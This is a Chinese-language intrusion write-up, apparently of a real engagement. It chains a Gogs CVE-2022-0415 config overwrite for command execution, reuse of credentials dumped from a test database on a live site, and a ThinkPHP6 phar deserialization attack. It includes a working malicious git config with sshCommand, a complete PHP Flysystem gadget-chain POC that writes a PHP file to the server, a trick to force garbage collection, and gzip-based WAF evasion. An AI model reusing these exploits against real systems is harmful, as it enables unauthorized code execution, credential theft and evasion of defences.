前言
攻击链路为收集资产,找到系统的提供方并在供应商资产中发现相同测试站,供应商存在gogs作为git服务。
gogs攻击
gogs版本为1.11,存在历史漏洞CVE-2022-0415
漏洞原理简单来说就是目录穿越覆盖.git下的config来触发sshCommand执行命令
那我们上传一个config文件,添加sshCommand,并将url修改为ssh连接格式
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
sshCommand = "bash -c 'tou /tmp/success'"
[remote "origin"]
url = [email protected]:test1/t3.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
[user]
email = [email protected]
name = test1
搞定后随便修改一个文件并预览就能触发git push来执行命令
或者伪造一个session传上去也可,但保险起见先rce再找目录伪造
thinkphp6代码审计
拿到git权限后把代码拖下来开始审计
先连接测试站的数据库,把里面的用户和密码都拖下来去实站测试一下,成功登陆了一个普通账号,虽然不是admin,但问题不大。
文件上传点过滤严格,但既然是tp,那我们可以考虑反序列化
unserialize函数没有,那就看看phar反序列化,很有意思的地方在,他存在一个ajax接口,来处理一下从app上进行的请求,简单逻辑如下
public function make_poster(){
$user_info = session('user_info');
if ($this->app->request->isAjax()) {
$business = $this->app->db->name('business')->where('openid',$request['openid'])->find();
if(!$business['openid']){
return ['code'=>201,'msg'=>''];
}
$formid = $request["formid"];
$token = $request["token"];
$live = $this->app->db->name("apply_form")->json(['post_config'])->where("token",$token)->find();
if($live['post_config']){
$image[] = [
'url' => isset($value['src']) ? file_get_contents($value['src']) : ''
];
}
}
}
首先判断是否为ajax请求,X-REQUESTED-WITH: xmlhttprequest
即可
然后从需要一个openid,这个可以从别的接口获取,在经过判断,从指定token获取post_config,这个post_config可以在更新接口修改。
那只要让post_config里的src为phar://./upload/phar.png
就能触发phar反序列化。
在本地测试后发现,这个环境中的tp6在读取phar的反序列化数据后是不会自动gc的,也就是说不能直接触发__destruct
,但tp的链子没有wakeup起手的,只能想办法让他触发gc。
之前打ctf的小知识,反序列化数组时,如果数组末尾有垃圾数据会导致报错,从而触发gc,且不会影响之前已经反序列化的数据。
文章地址:浅析GC回收机制与phar反序列化
简单来说就是把i:1改成i:0,这样就不符合序列化格式,但文章中的签名修复有点问题,可以使用tar格式的phar,该格式不会校验签名
poc:
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ['<?php phpinfo();?>'];
}
}
namespace League\Flysystem\Cached\Storage{
class Adapter extends AbstractCache
{
protected $adapter;
protected $file;
public function __construct($obj)
{
$this->adapter = $obj;
$this->file = 'bak1.php';
}
}
}
namespace League\Flysystem\Adapter{
abstract class AbstractAdapter
{
}
}
namespace League\Flysystem\Adapter {
use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;
class Local extends AbstractAdapter
{
public function has($path)
{
}
public function write($path, $contents, Config $config)
{
}
}
}
namespace{
$a = new League\Flysystem\Adapter\Local();
$b = new League\Flysystem\Cached\Storage\Adapter($a);
$c[] = $b;
$c[] = 1;
$phar = new PharData("phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($c);
$phar->addFromString("test.txt" , "test");
$phar->stopBuffering();
}
然后手动打开,修改末尾的i:1;i:1;
为i:0;i:0;
目标站点还存在waf,会检测流量,phar是可以识别gzip压缩后的数据的,所以再gzip phar.tar
即可绕过waf
Comments | NOTHING